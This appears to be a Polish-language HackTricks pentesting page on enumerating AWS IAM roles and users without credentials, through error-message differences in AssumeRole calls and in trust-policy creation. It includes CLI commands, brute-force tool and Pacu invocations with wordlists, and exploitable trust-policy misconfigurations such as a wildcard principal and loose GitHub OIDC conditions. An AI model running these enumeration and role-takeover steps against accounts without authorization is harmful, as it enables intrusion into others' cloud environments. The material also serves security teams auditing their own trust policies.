AWS - IAM & STS Enumeracja bez uwierzytelnienia

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Enumerate Roles & Usernames in an account

Assume Role Brute-Force

Caution

Ta technika już nie działa, ponieważ niezależnie od tego czy rola istnieje czy nie, zawsze otrzymujesz ten błąd:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas

Możesz to przetestować uruchamiając:

aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example

Próba wywołania AssumeRole bez odpowiednich uprawnień powoduje komunikat o błędzie od AWS. Na przykład, jeśli nieuprawniony, AWS może zwrócić:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS

Ta wiadomość potwierdza istnienie roli, ale wskazuje, że jej assume role policy nie pozwala na jej przyjęcie przez ciebie. W przeciwieństwie do tego, próba przyjęcia nieistniejącej roli skutkuje innym błędem:

An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole

Co ciekawe, ta metoda odróżniania ról istniejących od nieistniejących jest stosowalna nawet między różnymi kontami AWS. Mając prawidłowy identyfikator konta AWS i ukierunkowaną listę słów, można wyliczyć role obecne na koncie bez napotkania żadnych wrodzonych ograniczeń.

Możesz użyć tego script to enumerate potential principals, wykorzystując tę lukę.

Polityki zaufania: Brute-Force Cross Account roles and users

Konfigurowanie lub aktualizacja polityki zaufania roli IAM polega na zdefiniowaniu, które zasoby lub usługi AWS mają uprawnienie do przyjęcia tej roli i uzyskania tymczasowych poświadczeń. Jeśli wskazany zasób w polityce istnieje, polityka zaufania zapisuje się pomyślnie. Jednak jeśli zasób nie istnieje, generowany jest błąd, wskazujący, że podano nieprawidłowego principala.

Warning

Zwróć uwagę, że w tym zasobie możesz określić rolę lub użytkownika z innego konta:

  • arn:aws:iam::acc_id:role/role_name
  • arn:aws:iam::acc_id:user/user_name

Oto przykład polityki:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::216825089941:role/Test"
},
"Action": "sts:AssumeRole"
}
]
}

GUI

To jest błąd, który zobaczysz, jeśli użyjesz roli, która nie istnieje. Jeśli rola istnieje, polityka zostanie zapisana bez żadnych błędów. (Błąd dotyczy aktualizacji, ale występuje również podczas tworzenia)

CLI

### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"

Możesz zautomatyzować ten proces za pomocą https://github.com/carlospolop/aws_tools

  • bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt

Używając Pacu:

  • run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt
  • run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt
  • Rola admin użyta w przykładzie to rola w Twoim koncie, którą pacu ma podszyć, aby utworzyć polityki potrzebne do enumeracji

Privesc

W przypadku, gdy rola została źle skonfigurowana i pozwala każdemu na jej przejęcie:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

Atakujący mógłby po prostu to założyć.

Third Party OIDC Federation

Wyobraź sobie, że udało ci się odczytać Github Actions workflow który uzyskuje dostęp do roli w AWS.\ To zaufanie może dawać dostęp do roli z następującą polityką zaufania:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}

Ta polityka zaufania może być poprawna, ale brak dodatkowych warunków powinien wzbudzić twoje wątpliwości.
To dlatego, że poprzednią rolę może przejąć KTOKOLWIEK z Github Actions! Powinieneś w warunkach określić także inne elementy, takie jak org name, repo name, env, branch…

Inną potencjalną błędną konfiguracją jest dodanie warunku takiego jak poniżej:

"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}

Zwróć uwagę, że wildcard (*) występuje przed colon (:). Możesz utworzyć org, taką jak org_name1, i assume the role z Github Action.

Referencje

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks